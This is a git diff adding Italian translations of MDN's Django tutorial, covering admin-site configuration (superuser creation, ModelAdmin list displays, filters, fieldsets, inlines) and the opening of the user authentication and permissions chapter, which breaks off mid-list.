+<pre class="brush: python">from catalog.models import Author, Genre, Book, BookInstance
+
+admin.site.register(Book)
+admin.site.register(Author)
+admin.site.register(Genre)
+admin.site.register(BookInstance)
+</pre>
+
+<div class="note"><strong>Note</strong>: Se hai accettato la sfida di creare un modello per rappresentare il linguaggio naturale di un libro, importalo e registralo anche tu (<a href="/en-US/docs/Learn/Server-side/Django/Models">see the models tutorial article</a>)!</div>
+
+<p>Questo è il modo più semplice di registrare un modello o modelli con il sito. Il sito di amministrazione è altamente personalizzabile e parleremo di altri modi per registrare i tuoi modelli più in basso.</p>
+
+<h2 id="Creare_un_superuser">Creare un superuser</h2>
+
+<p>Per accedere al sito admin, abbiamo bisogno di un account utente con lo stato del personale abilitato. Per poter visualizzare e creare record, abbiamo anche bisogno che questo utente abbia i permessi per gestire tutti i nostri oggetti. Puoi creare un account "superutente" che abbia accesso completo al sito e tutte le autorizzazioni necessarie usando manage.py. Chiamare il seguente comando, nella stessa directory di manage.py, per creare il superutente. Ti verrà richiesto di inserire un nome utente, un indirizzo email e una password complessa.</p>
+
+<pre class="brush: bash">python3 manage.py createsuperuser
+</pre>
+
+<p>Una volta che questo comando è stato completato, un nuovo superutente sarà stato aggiunto al database. Ora riavvia il server di sviluppo in modo da poter verificare l'accesso:</p>
+
+<pre class="brush: bash">python3 manage.py runserver
+
+</pre>
+
+<h2 id="Loggarsi_come_superuser_e_usare_il_sito">Loggarsi come superuser e usare il sito</h2>
+
+<p>Per effettuare il login, utilizzare nell'URL <em>/admin</em> (esempio: <a href="http://127.0.0.1:8000/admin/">http://127.0.0.1:8000/admin</a>) e inserisci le tue nuove credenziali utente e password per superutente (verrai reindirizzato alla pagina di accesso e poi tornerai all'URL di / admin dopo aver inserito i tuoi dettagli). Questa parte del sito mostra tutti i nostri modelli, raggruppati per applicazione installata. È possibile fare clic sul nome di un modello per andare a una schermata in cui sono elencati tutti i record associati e è possibile fare ulteriori clic su tali record per modificarli. Puoi anche fare clic direttamente sul collegamento <strong>add </strong>accanto a ciascun modello per iniziare a creare un record di quel tipo.</p>
+
+<p><img alt="Admin Site - Home page" src="https://mdn.mozillademos.org/files/13975/admin_home.png" style="display: block; height: 634px; margin: 0px auto; width: 998px;"></p>
+
+<p>Clicca sul link <strong>Add </strong>a destra di <em>Books</em> per creare un nuovo libro (verrà mostrata una finestra di dialogo come sotto). Nota come il titolo di ogni campo, il tipo di widget utilizzato, e l' <code>help_text</code> (se presente) matcha il valore che hai specificato nel modello. </p>
+
+<p>Immettere i valori per i campi. Puoi creare nuovi autori o generi premendo il pulsante + vicino ai rispettivi campi (o seleziona i valori esistenti dagli elenchi se li hai già creati). Quando hai finito puoi premere <strong>SAVE</strong>, <strong>Save and add another</strong>, o <strong>Save and continue editing</strong> per salvare il record.</p>
+
+<p><img alt="Admin Site - Book Add" src="https://mdn.mozillademos.org/files/13979/admin_book_add.png" style="border-style: solid; border-width: 1px; display: block; height: 780px; margin: 0px auto; width: 841px;"></p>
+
+<div class="note">
+<p><strong>Note</strong>: A questo punto vorremmo che passassi un po 'di tempo ad aggiungere alcuni libri, autori e generi (ad es. Fantasy) alla tua applicazione. Assicurati che ogni autore e genere includa un paio di libri diversi (questo renderà le tue visualizzazioni di lista e di dettaglio più interessanti quando le implementeremo più avanti nella serie di articoli).</p>
+</div>
+
+<p>Al termine dell'aggiunta di libri, fai clic sul link <strong>Home </strong>nel segnalibro in alto per tornare alla pagina principale dell'amministratore. Quindi fare clic sul link <strong>Libri </strong>per visualizzare l'elenco corrente di libri (o su uno degli altri collegamenti per vedere altri elenchi di modelli). Ora che hai aggiunto alcuni libri, l'elenco potrebbe essere simile allo screenshot qui sotto. Viene visualizzato il titolo di ogni libro; questo è il valore restituito nel metodo <strong>__str __ ()</strong> del modello Book che abbiamo specificato nell'ultimo articolo.</p>
+
+<p><img alt="Admin Site - List of book objects" src="https://mdn.mozillademos.org/files/13935/admin_book_list.png" style="border-style: solid; border-width: 1px; display: block; height: 407px; margin: 0px auto; width: 1000px;"></p>
+
+<p>Da questa lista puoi cancellare libri selezionando la checkbox vicino al libro che non vuoi, e selezionando l'azione <em>delete</em> dalla lista di azioni <em>Action</em>, e premendo il pulsante <strong>Go</strong>. Puoi anche aggiungere nuovi libri, premendo <strong>ADD BOOK</strong>. </p>
+
+<p>Puoi editare un libro selezionando il suo nome dal link. La pagina di edit, mostrata sotto, è uguale a quella di aggiunta di un nuovo libro. Le differenze principali sono il titolo (<em>Change book</em>) e l'aggiunta di <strong>Delete</strong>, <strong>HISTORY</strong> e <strong>VIEW ON SITE </strong>(questo ultimo bottone appare perchè abbiamo definito il metodo <code>get_absolute_url()</code> nel modello).</p>
+
+<p><img alt="Admin Site - Book Edit" src="https://mdn.mozillademos.org/files/13977/admin_book_modify.png" style="border-style: solid; border-width: 1px; display: block; height: 780px; margin: 0px auto; width: 841px;"></p>
+
+<p>Ora torna alla Home page (utilizzando il collegamento Home il percorso breadcrumb) e quindi visualizza gli elenchi Autore e Genere: dovresti averne già abbastanza creati da quando hai aggiunto i nuovi libri, ma sentiti libero di aggiungerne altri.</p>
+
+<p>Ciò che sicuramente non avrai, sono delle <em>Book Instances</em>, perchè non vengono create da Books (invece possiamo creare un <code>Book</code> da una <code>BookInstance</code> — questo è il funzionamento del campo di tipo <code>ForeignKey</code>). Naviga indietro alla Home page e premi il bottone Add associato. Notare il campo id, largo ed univoco, che viene utilizzato per identificare una singola copia di un libro in una libreria.</p>
+
+<p><img alt="Admin Site - BookInstance Add" src="https://mdn.mozillademos.org/files/13981/admin_bookinstance_add.png" style="border-style: solid; border-width: 1px; display: block; height: 514px; margin: 0px auto; width: 863px;"></p>
+
+<p>Crea un numero di questi record per ciascuno dei tuoi libri. Imposta lo stato come Disponibile per almeno alcuni record e In prestito per gli altri. Se lo stato non è Disponibile, imposta anche una data di scadenza futura.</p>
+
+<p>Questo è tutto! Ora hai imparato come configurare e utilizzare il sito di amministrazione. Hai anche creato record per Book, BookInstance, Genre e Author che saremo in grado di utilizzare una volta create le views e i modelli.</p>
+
+<h2 id="Configurazione_avanzata">Configurazione avanzata</h2>
+
+<p>Django fa un buon lavoro nel creare un sito admin di base usando le informazioni dei modelli registrati:</p>
+
+<ul>
+ <li>Ogni modello ha un elenco di record individuali, identificati dalla stringa creata con il metodo __str __ () del modello e collegati a viste / moduli di dettaglio per la modifica. Per impostazione predefinita, questa vista ha un menu azioni in alto che è possibile utilizzare per eseguire operazioni di eliminazione di massa sui record.</li>
+ <li>I form di registrazione dei dettagli del modello per la modifica e l'aggiunta di record contengono tutti i campi nel modello, disposti verticalmente nell'ordine di dichiarazione.</li>
+</ul>
+
+<p>Puoi rendere ancora più semplice da utilizzare l'interfaccia, ecco alcune delle cose che puoi fare:</p>
+
+<ul>
+ <li>Visualizzazioni elenco:
+  <ul>
+   <li>Aggiungi campi / informazioni aggiuntivi visualizzati per ogni record.</li>
+   <li>Aggiungi filtri per selezionare i record elencati, in base alla data o ad un altro valore di selezione (ad es. Stato del prestito del libro).</li>
+   <li>Aggiungi opzioni aggiuntive al menu azioni nelle visualizzazioni elenco e scegli dove questo menu viene visualizzato nel modulo.</li>
+  </ul>
+ </li>
+ <li>Viste dettagliate
+  <ul>
+   <li>Scegli quali campi mostrare (o nascondere), oltre al loro raggruppamento, ordine, se sono editabili, widget usati, orientazione, ecc.</li>
+   <li>Aggiungi campi correlati a un record per consentire la modifica in linea (ad esempio aggiungi la possibilità di aggiungere e modificare i record del libro mentre crei il record dell'autore).</li>
+  </ul>
+ </li>
+</ul>
+
+<p>In questa sezione esamineremo alcune modifiche che miglioreranno l'interfaccia per la nostra libreria locale, tra cui l'aggiunta di ulteriori informazioni agli elenchi di modelli di libri e autori e il miglioramento del layout delle loro viste di modifica. Non cambieremo la presentazione del modello Lingua e genere perché hanno solo un campo ciascuno, quindi non c'è alcun vantaggio reale nel farlo!</p>
+
+<p>Per maggiori informazioni sulle customizzazioni possibili, consultare <a href="https://docs.djangoproject.com/en/2.1/ref/contrib/admin/">The Django Admin site</a> (Django Docs).</p>
+
+<h3 id="Registrare_una_classe_ModelAdmin">Registrare una classe ModelAdmin</h3>
+
+<p>Per cambiare la visualizzazione dei modelli nell'interfaccia admin, dovremo definire una classe <a href="https://docs.djangoproject.com/en/dev/ref/contrib/admin/#modeladmin-objects">ModelAdmin</a> e registrarla col modello.</p>
+
+<p>Cominciamo col modello di <code>Author</code>. Apri <strong>admin.py</strong> nella applicazione catalog (<strong>/locallibrary/catalog/admin.py</strong>). Commentiamo la registrazione originaria (scrivendo prima della riga di codice un carattere) del modello <code>Author</code>:</p>
+
+<pre class="brush: js"># admin.site.register(Author)</pre>
+
+<p>Aggiungi una nuova registrazione <code>AuthorAdmin</code>.</p>
+
+<pre class="brush: python"># Define the admin class
+class AuthorAdmin(admin.ModelAdmin):
+    pass
+
+# Register the admin class with the associated model
+admin.site.register(Author, AuthorAdmin)
+</pre>
+
+<p>Aggiungiamo anche le classi <code>ModelAdmin</code> per <code>Book</code>, e <code>BookInstance</code>. Commentiamo anche qui le vecchie registrazioni:</p>
+
+<pre class="brush: js"># admin.site.register(Book)
+# admin.site.register(BookInstance)</pre>
+
+<p>Per registrare i nuovi modelli, per i propositi di questa dimostrazione, useremo il decoratore <code>@register</code> (che esegue la stessa azione della sintassi <code>admin.site.register()</code>):</p>
+
+<pre class="brush: python"># Register the Admin classes for Book using the decorator
+@admin.register(Book)
+class BookAdmin(admin.ModelAdmin):
+    pass
+
+# Register the Admin classes for BookInstance using the decorator
+@admin.register(BookInstance)
+class BookInstanceAdmin(admin.ModelAdmin):
+    pass
+</pre>
+
+<p>Attualmente tutte le nostre classi di amministrazione sono vuote (vedi <code>pass</code>) cosi il comportamento di admin non e' cambiato! Ora possiamo estendere queste classi per definire i nostri specifici modelli di comportamento di admin.</p>
+
+<h3 id="Configurare_le_liste_di_visualizzazione">Configurare le liste di visualizzazione</h3>
+
+<p>La <em>LocalLibrary</em> attualmente mostra una lista degli autori usando il nome oggetto generato da <code>__str__()</code>. Questo va bene quando hai solo pochi autori, ma una volta che ne hai molti potresti finire per avere dei duplicati. Per differenziarli, o solo perché vuoi mostrare informazioni più interessanti su ciascun autore, puoi utilizzare ad esempio <a href="https://docs.djangoproject.com/en/dev/ref/contrib/admin/#django.contrib.admin.ModelAdmin.list_display">list_display</a> per aggiungere ulteriori campi alla visualizzazione. </p>
+
+<p>Sostituisci il tuo codice della classe <code>AuthorAdmin</code> con quello sotto. I campi da mostrare nella lista sono dichiaratiin una <em>tupla </em>nell'ordine desiderato, come mostrato sotto.</p>
+
+<pre class="brush: python">class AuthorAdmin(admin.ModelAdmin):
+    list_display = ('last_name', 'first_name', 'date_of_birth', 'date_of_death')
+</pre>
+
+<p>Naviga ora alla lista degli autori. I campi inseriti nella tupla ora dovrebbero essere mostrati:</p>
+
+<p><img alt="Admin Site - Improved Author List" src="https://mdn.mozillademos.org/files/14023/admin_improved_author_list.png" style="border-style: solid; border-width: 1px; display: block; height: 302px; margin: 0px auto; width: 941px;"></p>
+
+<p>Per il nostro modello <code>Book</code>  mostreremo anche l'autore, <code>author</code> ed il genere, <code>genre</code>. <code>author</code> è un campo di tipo <code>ForeignKey</code> (uno-a-molti), quindi verrà rappresentato dal valore <code>__str__()</code> per il record associato. Rimpiazza la classe <code>BookAdmin</code> con la versione seguente.</p>
+
+<pre class="brush: python">class BookAdmin(admin.ModelAdmin):
+    list_display = ('title', 'author', 'display_genre')
+</pre>
+
+<p>Sfortunatamente non possiamo specificare direttamente il campo <font face="Consolas, Liberation Mono, Courier, monospace">genre </font>in <code>list_display</code> perchè è un campo di tipo <code>ManyToManyField</code> (Django impedisce questa operazione perché ci sarebbe traffico di "accesso" molto costosa al database nel farlo). Invece definiremo una funzione <code>display_genre</code> per prendere le informazioni sotto forma di stringa (la funzione che abbiamo chiamato sopra, la definiremo di seguito).</p>
+
+<div class="note">
+<p><strong>Note</strong>: Mostrare il <code>genre</code> potrebbe non essere una buona idea qui, a causa del "costo" dell'operazione del database. Ti stiamo mostrando come, perché chiamare le funzioni nei tuoi modelli può essere molto utile per altri motivi, ad esempio per aggiungere un link Elimina accanto a ogni elemento nell'elenco</p>
+</div>
+
+<p>Aggiungi il seguente codice nel tuo modello <code>Book</code> (<strong>models.py</strong>). Questa funzione crea una stringa contenente i primi tre valori del campo <code>genre</code> (se esistono) e creano una <code>short_description</code> che può essere utilizzata nel sito admin per questo metodo.</p>
+
+<pre class="brush: python">    def display_genre(self):
+        """Create a string for the Genre. This is required to display genre in Admin."""
+        return ', '.join(genre.name for genre in self.genre.all()[:3])
+
+    display_genre.short_description = 'Genre'
+</pre>
+
+<p>Dopo aver salvato il modello e aver aggiornato admin, apri il sito e vai alla lista di visualizzazione <em>Books</em>; ecco ciò che dovresti vedere:</p>
+
+<p><img alt="Admin Site - Improved Book List" src="https://mdn.mozillademos.org/files/14025/admin_improved_book_list.png" style="border-style: solid; border-width: 1px; display: block; height: 337px; margin: 0px auto; width: 947px;"></p>
+
+<p>Il modello <code>Genre</code> (ed il modello <code>Language</code>, se ne hai definito uno) entrambi hanno un singolo campo, quindi non ha senso creare un modello aggiuntivo per mostrare campi aggiuntivi.</p>
+
+<div class="note">
+<p><strong>Note</strong>: potrebbe essere utile aggiornare il modello della lista di <code>BookInstance</code> per mostrare almeno anche lo status e la data di restituzione. L'abbiamo inserita come sfida alla fine di questo capitolo!</p>
+</div>
+
+<h3 id="Aggiungere_dei_filtri_alle_liste">Aggiungere dei filtri alle liste</h3>
+
+<p>Una volta che hai un sacco di elementi in una lista, può essere utile poter filtrare quali oggetti sono visualizzati. Questo viene fatto elencando i campi nell'attributo <code>list_filter</code>. Rimpiazza la classe corrente <code style="font-style: normal; font-weight: normal;">BookInstanceAdmin</code> con il codice di seguito.</p>
+
+<pre class="brush: python">class BookInstanceAdmin(admin.ModelAdmin):
+<strong>    list_filter = ('status', 'due_back')</strong>
+</pre>
+
+<p>La visualizzazione elenco includerà ora una casella filtro sulla destra. Nota come puoi scegliere le date e lo stato per filtrare i valori:</p>
+
+<p><img alt="Admin Site - BookInstance List Filters" src="https://mdn.mozillademos.org/files/14037/admin_improved_bookinstance_list_filters.png" style="height: 528px; width: 960px;"></p>
+
+<h3 id="Organizzare_il_layout_della_visualizzazione_dettaglio">Organizzare il layout della visualizzazione dettaglio</h3>
+
+<p>Per impostazione predefinita, le viste di dettaglio dispongono tutti i campi verticalmente, nel loro ordine di dichiarazione nel modello. È possibile modificare l'ordine di dichiarazione, quali campi vengono visualizzati (o esclusi), se le sezioni vengono utilizzate per organizzare le informazioni, se i campi sono visualizzati orizzontalmente o verticalmente e anche quali widget di modifica vengono utilizzati nei moduli di amministrazione.</p>
+
+<div class="note">
+<p><strong>Note</strong>: I modelli <em>LocalLibrary</em> sono relativamente semplici, quindi non abbiamo un grosso bisogno di cambiare il layout; ne faremo comunque alcuni, solo a scopo dimostrativo.</p>
+</div>
+
+<h4 id="Controllare_quali_campi_sono_visualizzati_e_come_sono_disposti">Controllare quali campi sono visualizzati e come sono disposti</h4>
+
+<p>Aggiorna la tua classe <code>AuthorAdmin</code> class e aggiungi la riga di codice <code>fields</code> mostrata sotto in grassetto:</p>
+
+<pre class="brush: python">class AuthorAdmin(admin.ModelAdmin):
+    list_display = ('last_name', 'first_name', 'date_of_birth', 'date_of_death')
+<strong>    fields = ['first_name', 'last_name', ('date_of_birth', 'date_of_death')]</strong>
+</pre>
+
+<p>L'attributo fields elenca solo i campi che devono essere visualizzati nel modulo, in ordine. I campi vengono visualizzati verticalmente per impostazione predefinita, ma verranno visualizzati orizzontalmente se vengono ulteriormente raggruppati in una tupla (come mostrato nei campi "data" sopra).</p>
+
+<p>Nel tuo sito web vai alla vista dettagli dell'autore - ora dovrebbe apparire come mostrato di seguito:</p>
+
+<p><img alt="Admin Site - Improved Author Detail" src="https://mdn.mozillademos.org/files/14027/admin_improved_author_detail.png" style="border-style: solid; border-width: 1px; display: block; height: 282px; margin: 0px auto; width: 928px;"></p>
+
+<div class="note">
+<p><strong>Note</strong>: Puoi anche utilizzare l'attributo <code>exclude</code> per dichiarare una lista di attributi da escludere dal form (tutti gli altri attributi nel modello saranno mostrati). </p>
+</div>
+
+<h4 id="Organizzare_la_vista_di_dettaglio_in_sezioni">Organizzare la vista di dettaglio in sezioni</h4>
+
+<p>È possibile aggiungere "sezioni" per raggruppare le informazioni relative al modello all'interno del modulo dettagli, utilizzando l'attributo <a href="https://docs.djangoproject.com/en/dev/ref/contrib/admin/#django.contrib.admin.ModelAdmin.fieldsets">fieldsets</a>.</p>
+
+<p>Nel modello <code>BookInstance</code> abbiamo delle informazioni sul libro (esempio <code>name</code>, <code>imprint</code>, ed <code>id</code>) e sullo stato (<code>status</code>, <code>due_back</code>). Possiamo aggiungere queste informazioni in differenti sezioni aggiungendo il testo in grassetto alla classe <code>BookInstanceAdmin.</code></p>
+
+<pre class="brush: python">@admin.register(BookInstance)
+class BookInstanceAdmin(admin.ModelAdmin):
+    list_filter = ('status', 'due_back')
+
+<strong>    fieldsets = (
+        (None, {
+            'fields': ('book', 'imprint', 'id')
+        }),
+        ('Availability', {
+            'fields': ('status', 'due_back')
+        }),
+    )</strong></pre>
+
+<p>Ogni sezione avrà il suo titolo (o <code>None</code>, se non vuoi un titolo) e una tupla associata di campi in un dizionario - il formato è complicato da descrivere, ma abbastanza facile da capire se si guarda il frammento di codice immediatamente sopra.</p>
+
+<p>Ora vai a una vista di istanza di un libro nel tuo sito web; il modulo dovrebbe apparire come mostrato di seguito:</p>
+
+<p><img alt="Admin Site - Improved BookInstance Detail with sections" src="https://mdn.mozillademos.org/files/14029/admin_improved_bookinstance_detail_sections.png" style="border-style: solid; border-width: 1px; display: block; height: 580px; margin: 0px auto; width: 947px;"></p>
+
+<h3 id="Modifica_in_linea_dei_record_associati">Modifica in linea dei record associati</h3>
+
+<p>A volte può essere sensato essere in grado di aggiungere record associati nello stesso momento. Ad esempio, può avere senso avere sia le informazioni del libro che le informazioni sulle copie specifiche che si hanno nella stessa pagina di dettaglio.</p>
+
+<p>Puoi farlo dichiarando <a href="https://docs.djangoproject.com/en/dev/ref/contrib/admin/#django.contrib.admin.ModelAdmin.inlines">inlines</a>, di tipo <a href="https://docs.djangoproject.com/en/dev/ref/contrib/admin/#django.contrib.admin.TabularInline">TabularInline</a> (layout orizzontale) o <a href="https://docs.djangoproject.com/en/dev/ref/contrib/admin/#django.contrib.admin.StackedInline">StackedInline</a> (layout verticale, come il modello di default). Puoi aggiungere l'informazione di <code>BookInstance</code> inline nel dettaglio di <code>Book</code> aggiungendo le linee di codice in grassetto vicino a <code>BookAdmin</code>:</p>
+
+<pre class="brush: python"><strong>class BooksInstanceInline(admin.TabularInline):
+    model = BookInstance</strong>
+
+@admin.register(Book)
+class BookAdmin(admin.ModelAdmin):
+    list_display = ('title', 'author', 'display_genre')
+<strong>    inlines = [BooksInstanceInline]</strong>
+</pre>
+
+<p>Ora vai a una vista per un libro nel tuo sito web: in basso ora dovresti vedere le istanze di libro relative a questo libro (immediatamente sotto i campi di genere del libro):<img alt="Admin Site - Book with Inlines" src="https://mdn.mozillademos.org/files/14033/admin_improved_book_detail_inlines.png" style="border-style: solid; border-width: 1px; display: block; height: 889px; margin: 0px auto; width: 937px;"></p>
+
+<p>In questo caso, tutto ciò che abbiamo fatto è dichiarare la nostra classe in linea tabellare, che aggiunge solo tutti i campi dal modello in linea. È possibile specificare tutti i tipi di informazioni aggiuntive per il layout, inclusi i campi da visualizzare, il loro ordine, se sono di sola lettura o meno, ecc. (Vedere <a href="https://docs.djangoproject.com/en/dev/ref/contrib/admin/#django.contrib.admin.TabularInline">TabularInline</a> per ulteriori informazioni). </p>
+
+<div class="note">
+<p><strong>Note</strong>: Ci sono una serie di limitazioni importanti in questa funzionalità! Nello screenshot qui sopra abbiamo tre istanze di libri esistenti, seguite da tre segnaposti per le nuove istanze di libri (che sembrano molto simili!). Sarebbe meglio NON avere istanze di libri di riserva per impostazione predefinita e aggiungerle semplicemente con un link <strong>Add another Book instance</strong>, o listare le <code>BookInstance</code> come link non leggibili da qui. La prima opzione può essere eseguita impostando l'attributo <code>extra</code> su 0 nel modello <code>BooksInstanceInline</code>, provalo tu stesso</p>
+</div>
+
+<h2 id="Prova_tu">Prova tu</h2>
+
+<p>Abbiamo imparato molto in questa sezione, quindi ora è il momento di provare alcune cose.</p>
+
+<ol>
+ <li>Per la list view di <code>BookInstance,</code> aggiungi un codice che permetta di mostrare libro, status, data di restituzione, e l'id (invece del testo di default restituito da <code>__str__()</code>).</li>
+ <li>Aggiungi una lista inline di oggetti <code>Book</code> inella scheda di dettaglio di <code>Author</code> usando lo stesso approccio che abbiamo utilizzato per <code>Book</code>/<code>BookInstance</code>.</li>
+</ol>
+
+<ul>
+</ul>
+
+<h2 id="Sommario">Sommario</h2>
+
+<p>Questo è tutto! Ora hai imparato come configurare il sito di amministrazione sia nella sua forma più semplice che migliorata, come creare un superutente e come navigare nel sito di amministrazione e visualizzare, eliminare e aggiornare i record. Lungo la strada hai creato un sacco di libri, pubblicazioni, generi e autori che saremo in grado di elencare e visualizzare una volta creati i nostri modelli e le nostre view.</p>
+
+<h2 id="Ulteriori_letture">Ulteriori letture</h2>
+
+<ul>
+ <li><a href="https://docs.djangoproject.com/en/2.1/intro/tutorial02/#introducing-the-django-admin">Writing your first Django app, part 2: Introducing the Django Admin</a>  (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/2.1/ref/contrib/admin/">The Django Admin site</a> (Django Docs)</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/Server-side/Django/Models", "Learn/Server-side/Django/Home_page", "Learn/Server-side/Django")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Introduction">Django introduction</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/development_environment">Setting up a Django development environment</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django Tutorial: The Local Library website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Django Tutorial Part 2: Creating a skeleton website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Models">Django Tutorial Part 3: Using models</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Admin_site">Django Tutorial Part 4: Django admin site</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Home_page">Django Tutorial Part 5: Creating our home page</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Generic_views">Django Tutorial Part 6: Generic list and detail views</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Sessions">Django Tutorial Part 7: Sessions framework</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Authentication">Django Tutorial Part 8: User authentication and permissions</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Testing">Django Tutorial Part 10: Testing a Django web application</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Deployment">Django Tutorial Part 11: Deploying Django to production</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/web_application_security">Django web application security</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li>
+</ul>
diff --git a/files/it/learn/server-side/django/authentication/index.html b/files/it/learn/server-side/django/authentication/index.html
new file mode 100644
index 0000000000..a0e06c7252
--- /dev/null
+++ b/files/it/learn/server-side/django/authentication/index.html
@@ -0,0 +1,700 @@
+---
+title: 'Django Tutorial Part 8: User authentication and permissions'
+slug: Learn/Server-side/Django/Authentication
+tags:
+  - Articolo
+  - Forms
+  - Python
+  - Server
+  - Tutorial
+  - autenticazione
+  - django
+  - form
+  - sessione
+  - sessioni
+translation_of: Learn/Server-side/Django/Authentication
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/Django/Sessions", "Learn/Server-side/Django/Forms", "Learn/Server-side/Django")}}</div>
+
+<p class="summary">In questo tutorial ti mostreremo come consentire agli utenti di accedere al tuo sito con i propri account e come controllare cosa possono fare e vedere in base al fatto che abbiano effettuato l'accesso e le relative autorizzazioni. Come parte di questa dimostrazione, estenderemo il sito Web LocalLibrary, aggiungendo pagine di accesso e disconnessione e pagine specifiche per utente e personale per la visualizzazione di libri presi in prestito.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisiti:</th>
+   <td>Completare tutti i precedenti argomentioltre che il capitolo <a href="/en-US/docs/Learn/Server-side/Django/Sessions">Django Tutorial Part 7: Sessions framework</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Obiettivi:</th>
+   <td>Per capire come impostare e utilizzare l'autenticazione utente e le autorizzazioni.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Panoramica">Panoramica</h2>
+
+<p>Django fornisce un sistema di autenticazioni e permessi, costruito sulla base del framework delle sessioni discusso nel <a href="/en-US/docs/Learn/Server-side/Django/Sessions">precedente tutorial</a>, che consente di verificare le credenziali dell'utente e definire le azioni che ogni utente può eseguire. Il framework include modelli integrati per <code>utenti</code> e <code>gruppi </code>(un modo generico di applicare le autorizzazioni a più di un utente alla volta), permessi / flag che indicano se un utente può eseguire un'attività, formee viste per l'accesso degli utenti e strumenti di visualizzazione per limitare il contenuto.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Secondo Django il sistema di autenticazione mira ad essere molto generico, e quindi non fornisce alcune funzionalità fornite in altri sistemi di autenticazione web. Le soluzioni per alcuni problemi comuni sono disponibili come pacchetti di terze parti. Ad esempio, limitazione dei tentativi di accesso e autenticazione contro terze parti (ad esempio OAuth).</p>
+</div>
+
+<p>In questa esercitazione ti mostreremo come abilitare l'autenticazione utente nel sito Web LocalLibrary, creare le tue pagine di accesso e di disconnessione, aggiungere autorizzazioni ai tuoi modelli e controllare l'accesso alle pagine. Useremo l'autenticazione / le autorizzazioni per visualizzare elenchi di libri presi in prestito sia per gli utenti che per i bibliotecari.</p>
+
+<p>Il sistema di autenticazione è molto flessibile e, se lo desideri, puoi creare da zero URL, forms, viste e templates, basta chiamare l'API fornita per accedere all'utente.</p>
+
+<p>Tuttavia, in questo articolo, utilizzeremo le viste di autenticazione "immagazzinate" in Django e i moduli per le nostre pagine di accesso e di disconnessione. Avremo ancora bisogno di creare alcuni modelli, ma è abbastanza facile. Ti mostreremo anche come creare le autorizzazioni e controllare lo stato e le autorizzazioni di accesso sia nelle viste che nei modelli.</p>
+
+<h2 id="Abilitare_l'autenticazione">Abilitare l'autenticazione</h2>
+
+<p>L'autenticazione è stata abilitata automaticamente (nel tutorial 2), quindi non è necessario fare altro in questo punto.</p>
+
+<div class="note">
+<p><strong>Note</strong>: La configurazione necessaria è stata fatta per noi quando abbiamo creato l'app utilizzando il comando startproject di django-admin. Le tabelle del database per gli utenti e le autorizzazioni del modello sono state create quando abbiamo inizialmente chiamato <code>python manage.py migrate.</code></p>
+</div>
+
+<p>La configurazione è visibile nelle sezioni INSTALLED_APPS e MIDDLEWARE del file di progetto (locallibrary / locallibrary / settings.py), come mostrato di seguito:</p>
+
+<pre class="brush: python">INSTALLED_APPS = [
+    ...
+<strong>    'django.contrib.auth',  </strong>#Core authentication framework and its default models.
+<strong>    'django.contrib.contenttypes',  #</strong>Django content type system (allows permissions to be associated with models).
+    ....
+
+MIDDLEWARE = [
+    ...
+<strong>    'django.contrib.sessions.middleware.SessionMiddleware',</strong>  #Manages sessions across requests
+    ...
+<strong>    'django.contrib.auth.middleware.AuthenticationMiddleware',</strong>  #Associates users with requests using sessions.
+    ....
+</pre>
+
+<h2 id="Creazione_di_utenti_e_gruppi">Creazione di utenti e gruppi</h2>
+
+<p>Hai già creato il tuo primo utente quando abbiamo consultato il sito di amministrazione di Django nel tutorial 4 (questo era un superutente, creato con il comando python manage.py createsuperuser). Il nostro superutente è già autenticato e ha tutte le autorizzazioni, quindi avremo bisogno di creare un utente di prova per rappresentare un utente normale del sito. Useremo il sito di amministrazione per creare i nostri gruppi locali e gli accessi al sito Web, poiché è uno dei modi più rapidi per farlo.</p>
+
+<div class="note">
+<p>Note: Puoi anche creare utenti a livello di programmazione, come mostrato di seguito. Dovresti farlo, ad esempio, se sviluppi un'interfaccia per consentire agli utenti di iscriversi da soli (non si dovrebbe consentire agli utenti di accedere al sito di amministrazione).</p>
+
+<pre class="brush: python">from django.contrib.auth.models import User
+
+# Create user and save to the database
+user = User.objects.create_user('myusername', 'myemail@crazymail.com', 'mypassword')
+
+# Update fields and then save again
+user.first_name = 'John'
+user.last_name = 'Citizen'
+user.save()
+</pre>
+</div>
+
+<p>Di seguito creeremo prima un gruppo e poi un utente. Anche se non abbiamo ancora nessuna autorizzazione da aggiungere per i membri della nostra biblioteca, se è necessario in seguito, sarà molto più facile aggiungerli una volta al gruppo rispetto a ciascun membro. Avviare il server di sviluppo e accedere al sito di amministrazione nel proprio browser Web locale (<code>http:/127.0.0.1:8000/admin/</code>). Accedi al sito usando le credenziali per il tuo account superuser. Il livello principale del sito di amministrazione mostra tutti i tuoi modelli, ordinati per "Applicazione Django". Dalla sezione Autenticazione e autorizzazione, è possibile fare clic sui collegamenti Utenti o Gruppi per visualizzare i record esistenti.</p>
+
+<p><img alt="Admin site - add groups or users" src="https://mdn.mozillademos.org/files/14091/admin_authentication_add.png" style="border-style: solid; border-width: 1px; display: block; height: 364px; margin: 0px auto; width: 661px;"></p>
+
+<p>Creiamo un nuovo gruppo per i membri della libreria.</p>
+
+<ol>
